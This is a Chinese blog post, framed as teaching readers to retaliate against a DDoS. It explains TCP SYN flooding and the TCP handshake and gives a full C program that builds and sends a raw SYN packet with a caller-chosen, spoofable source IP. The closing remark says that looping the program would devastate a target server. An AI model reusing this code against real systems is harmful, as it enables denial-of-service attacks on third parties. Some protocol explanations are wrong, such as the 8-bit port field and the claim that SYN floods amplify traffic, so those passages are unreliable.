服务器被攻击了我教你怎么打回去-DDOS攻击-SYN泛洪攻击-TCP三次握手原理-网络攻防实战演练

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引言

2019年，我的服务器遭遇了DDOS泛洪攻击，一怒之下，我便开始研究"网络攻防"，想着打回去。一眨眼4年过去了，本打算屠龙的我，自己却手握屠龙刀，成为了当初的那个屠龙少年

DDOS分有很多种，我只介绍TCP SYN洪水攻击，这是最常用的，也是效果最好的，它可以实现流量放大的效果

免责声明：本篇文章仅仅是科普，作为学习案例，本人不承担任何法律后果

IP数据报

• 版本（4 bit）：一般都是ip-v4，值为0100。如果是ip-v6，值为0110
• 首部长度（4bit）： 4bit最大值为15。单位是行。IP首部默认是20字节，也就是5行。
• 服务类型（8bit）：区分服务时,这个字段才起作用,在一般的情况下都不使用这个字段。
• 总长度（16bit）：IP报文总长，包含首部和数据（TCP/UDP+data）。最小是20个字节。
• 标志（16bit）：唯一值,标识一个报文的所有分包。因为分片不一定按序到达，所以在重组时需要知道分片所属的报文。每产生一个数据报，计数器加1，并赋值给此字段。
• 其他的暂时不作介绍，后期有需要再来补充

TCP数据报

• 源端口：发送端所使用的端口，这里有8bit存储空间，所以理论上端口的范围是0~2^8(65535)
• 目的端口：接收方使用的端口
• 序号：seq。表明当前发送到第几个数据了。假如是第一次发送，也就是SYN阶段，这就是一个随机数；否则，该序号就是上次发送的序号+1。后续的作用就是数据块的同步
• 确认号：ack。表明本端已经接收到的数据，实际上告诉对方，在这个序号减1以前的字节已正确接收。若该数据包是整个TCP连接中的第一个包(SYN包)，则确认号一般为0，换句话说，就是还未接收数据。只有ACK标志位为1时，确认序号字段才有效
• 数据偏移：TCP首部一般情况下是20个字节（在没有可变内容的情况下），每4个字节（32bit）为固定的一行，那真正的数据应该在第6行出现，因为前面5行都是首部。所以数据偏移的值默认是5
• 标志位：这里有多个标识位，都有各自的用途，常用的是SYN和ACK，这里不赘述了。需要注意的是：不要将确认序号Ack与标志位中的ACK搞混了。ACK确认标志用于确认数据包的成功接收，也用于握手和挥手的确认
• 选项（可变）：用于支持一些特殊的变量，比如最大分组长度(MSS)。TCP协议会根据这个字段进行拆包
• 填充：用户保证可变选项为32bit的整数倍，也就是保证一行。我猜测可能是内存对齐的原因吧，这样会提高传输的效率。

TCP校验和算法

1. 将校验和字段置为0,然后将IP包头按16比特分成多个单元，如包头长度不是16比特的倍数，则用0比特填充到16比特的倍数；
2. 对各个单元采用反码加法运算(即高位溢出位会加到低位,通常的补码运算是直接丢掉溢出的高位),将得到的和的反码填入校验和字段；
3. 发送数据包。

TCP工作流程

三次握手

1. 客户端SYN标记为1，seq序号=0（这里的0不是真正意义上的0，是相对位置），然后将包发给服务端，并进入SYN_SEND状态
2. 服务端将SYN标记为1，seq序号=0。ACK标记为1，确认号为0+1=1。将包发送给客户端，进入SYN_RECV状态
3. 客户端将ACK标记为1，将确认号标记为1。将包发送给服务端，并进入ESTABLISH状态。
4. 服务端收到确认包，也进入ESTABLISH状态。
5. 此时双方开始发送数据，其实在3阶段，客户端就可以和请求数据一并发送到服务端

通俗易懂的解释

发SYN就代表写数据，seq：我发到哪个数据了；发ACK就代表读数据，ack：我读到哪个数据了。有篇文章分析得非常好，地址是：zhuanlan.zhihu.com/p/53338327

1. 客户端发送SYN，seq=0，告诉服务端，我要开始建立连接了，但是我需要先同步一下seq号，你需要把seq+1返回给我，我判断，如果有误，我就拒绝连接
2. 服务端收到之后，发送SYN/ACK seq=0，ack=0+1(这里的1代表相对位置)。意思是，我这边收到请求了，我会将你发过来的序号在ack返回给你，但是我这边也要收到你的确认，否则我也不连接。我给你发个seq，你那边回复我下。回复校验我就连接你。
3. 收到ack了，并且合法，我再给你发一个确认的ack，不然你不跟我连接。于是又发了ACK标记。ack=1
4. 三次握手建立成功，开始传输数据

举个例子

1. 客户端发送http请求"GET / HTTP1.1 acb" 此时seq是1，ack也是1
2. 服务器如果收到请求，就要回ACK，ack = 1+接收到内容长度，seq=1
3. 客户端收到服务端的ACK之后，会将seq=服务器的ack，ack = 1，然后就停了

这样既可以保证顺序正确，也不丢包

数据报通信流程

数据报结构：IP{iphdr+TCP{tcphdr+data}}

发送数据

1. 客户端在应用层（HTTP/FTP）生成数据，传到TCP层
2. TCP层将数据包装一下，并在数据包外堆叠TCP报首（端口信息）
3. IP层堆叠报首（ip地址）
4. 数据链路层堆叠报首（MAC地址）

接收数据

1. 数据链路层拿到数据包，判断mac地址是否匹配，不匹配就丢包
2. IP层判断ip地址是否匹配
3. TCP层判断端口是否匹配，然后将数据分发到指定的应用。还可能会存在端口转发的情况
4. http层进行数据解析和处理

代码实战

用C语言构造一个TCP SYN(三次握手第一步)数据包发送到服务器，代码写于2019年，不能保证当下时间有效，仅作为学习用途

//
// Created by wu on 2019-12-09.
//
#include <stdio.h>
#include <netinet/ip.h>//Provides declarations for ip header
#include <netinet/tcp.h>//Provides declarations for tcp header
#include <arpa/inet.h>
#include <stdlib.h> //for exit(0);
#include <string.h> //memset,memcpy
#include <errno.h>

//needed for checksum calculation
struct pseudo_header_tcp {
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
};

//checksum is 16bit,should use unsigned short
static unsigned short calculate_checkcsum(unsigned short *ptr, int pktlen) {
    register uint32_t csum = 0;

    //add 2 bytes / 16 bits at a time!!
    while (pktlen > 1) {
        csum += *ptr++;
        pktlen -= 2;
    }

    //add the last byte if present
    if (pktlen == 1) {
        csum += *(uint8_t *) ptr;
    }

    //add the carries
    csum = (csum >> 16) + (csum & 0xffff);
    csum = csum + (csum >> 16);

    //return the one's compliment of calculated sum
    return ((short) ~csum);
}

unsigned short src_port = 0;
unsigned int src_inet_addr = 0;
unsigned short dst_port = 0;
unsigned int dst_inet_addr = 0;

int main(int argc, char *argv[]) {
    if (argc < 5) {
        printf("usage:./<script name> <src ip> <src port> <dst ip> <dst port>\n");
        exit(1);
    }

    int i;
    for (i = 1; i < argc; i++) {
        if (i == 1) {
            printf("src_ip = %s\n", argv[i]);
            src_inet_addr = inet_addr(argv[i]);
            continue;
        }
        if (i == 2) {
            src_port = (unsigned short) atoi(argv[i]);
            printf("src_port = %d\n", src_port);
            continue;
        }
        if (i == 3) {
            printf("dst_ip = %s\n", argv[i]);
            dst_inet_addr = inet_addr(argv[i]);
            continue;
        }
        if (i == 4) {
            dst_port = (unsigned short) atoi(argv[i]);
            printf("dst_port = %d\n", dst_port);
            continue;
        }
    }

    // tcp-datagram packet.size is size of iphdr + size of tcphdr
    char datagram[sizeof(struct iphdr) + sizeof(struct tcphdr)];
    bzero(datagram, sizeof(datagram));

    // 将 ip 首部指针和 tcp 首部指针指向各自的位置，
    struct iphdr *ip_header = (struct iphdr *) datagram;
    struct tcphdr *tcp_header = (struct tcphdr *) (datagram + sizeof(struct iphdr));

    // 填充 ip 首部字段
    ip_header->ihl = 5;                //普通 IP 数据报
    ip_header->version = 4;                //IPv4
    ip_header->tos = 0;
    ip_header->tot_len = sizeof(datagram);
    ip_header->id = 0;                      //自定 IP 包标识，方便筛选
    ip_header->frag_off = 0;
    ip_header->ttl = 255;
    ip_header->protocol = IPPROTO_TCP;                      //指定承载的是 TCP 数据包
    ip_header->check = 0;                                //之后需要计算校验和
    ip_header->saddr = src_inet_addr;
    ip_header->daddr = dst_inet_addr;

    //计算 ip 校验和，两个字节
    ip_header->check = calculate_checkcsum((unsigned short *) datagram, sizeof(datagram));

    // 填充 tcp 首部字段
    tcp_header->source = htons(src_port);   //htons means host to network short
    tcp_header->dest = htons(dst_port);     //if spec value < 255(8bit) , there is no need to use htons
    tcp_header->seq = 0;                    //自定义 seq 序号，方便筛选
    tcp_header->ack_seq = 0;
    tcp_header->doff = 5; //tcp header size ,5行,每行4个字节（32bit）
    tcp_header->fin = 0;
    tcp_header->syn = 1;                                //构造三次握手中的第一次，SYN 置 1
    tcp_header->rst = 0;
    tcp_header->psh = 0;
    tcp_header->ack = 0;
    tcp_header->urg = 0;
    tcp_header->window = htons(65535);
    tcp_header->check = 0;                                //之后需要计算校验和
    tcp_header->urg_ptr = 0;

    //借助伪头部计算 tcp 校验和
    int psize = sizeof(struct pseudo_header_tcp) + sizeof(struct tcphdr);
    char *pseudogram = malloc(psize);
    bzero(pseudogram, psize);
    struct pseudo_header_tcp *psh = (struct pseudo_header_tcp *) pseudogram;
    psh->source_address = src_inet_addr;
    psh->dest_address = dst_inet_addr;
    psh->placeholder = 0;
    psh->protocol = IPPROTO_TCP;
    psh->tcp_length = htons(sizeof(struct tcphdr));
    memcpy(pseudogram + sizeof(struct pseudo_header_tcp), tcp_header, sizeof(struct tcphdr));

    //计算 tcp 校验和
    tcp_header->check = calculate_checkcsum((unsigned short *) pseudogram, psize);

    //↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑至此，第一次握手的 TCP/IP 数据包构造完毕↑↑↑↑↑↑↑↑↑↑↑↑


    // 创建一个使用 TCP/IP 协议并可以构造首部数据的 raw_socket
    int send_socket = -1;
    int one = 1;
    const int *val = &one;
    if ((send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_IPIP)) < 0) {
        return -1;
    }
    if (setsockopt(send_socket, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
        return -1;
    }

    // 根据指定 ip 和端口，发送探测包
    struct sockaddr_in dest;
    memset(&dest, 0, sizeof(dest));
    dest.sin_family = AF_INET;
    dest.sin_port = htons(dst_port);
    dest.sin_addr.s_addr = dst_inet_addr;

    ssize_t bytes_sent = sendto(
            send_socket, datagram, sizeof(datagram),
            0, (struct sockaddr *) &dest, sizeof(dest)
    );

    if (bytes_sent < 0) {
        printf("ERROR(%d):%s\n", errno, strerror(errno));
    } else {
        printf("%zu bytes send success !\n", bytes_sent);
    }

    // sockfd should close here !
    return 0;
}

这个代码如果循环执行，短时间内发送无数个SYN包，会对目标服务器造成毁灭性打击，大家千万不要这么做！！！

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